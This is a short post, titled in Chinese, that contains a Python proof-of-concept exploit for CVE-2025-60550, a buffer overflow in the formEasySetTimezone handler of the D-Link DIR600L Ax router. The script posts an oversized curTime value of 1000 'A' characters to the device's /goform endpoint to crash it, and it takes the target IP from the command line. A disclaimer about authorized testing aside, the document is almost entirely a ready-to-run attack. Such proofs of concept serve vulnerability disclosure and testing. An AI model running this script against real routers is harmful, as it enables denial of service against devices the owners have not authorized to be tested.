D-Link DIR600L Ax formEasySetTimezone缓冲区溢出漏洞(CVE-2025-60550)

#!/usr/bin/env python3 """ CVE-2025-60550 PoC - D-Link DIR600L Ax Buffer Overflow in formEasySetTimezone This PoC demonstrates the buffer overflow vulnerability via curTime parameter. Note: Use only for authorized security testing. """ import requests import sys TARGET = "http://{target_ip}" # Replace with target IP PAYLOAD_SIZE = 1000 # Adjust based on buffer size def exploit_buffer_overflow(): """ Send malicious payload to trigger buffer overflow in formEasySetTimezone """ # Construct the malicious curTime parameter (overflow payload) overflow_payload = "A" * PAYLOAD_SIZE # Prepare the exploit request url = f"{TARGET}/goform/formEasySetTimezone" data = { "curTime": overflow_payload # Malicious input causing overflow } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {PAYLOAD_SIZE} bytes") response = requests.post(url, data=data, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") print("[*] Buffer overflow payload delivered. Check target for DoS or other effects.") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_ip>") sys.exit(1) TARGET = f"http://{sys.argv[1]}" exploit_buffer_overflow()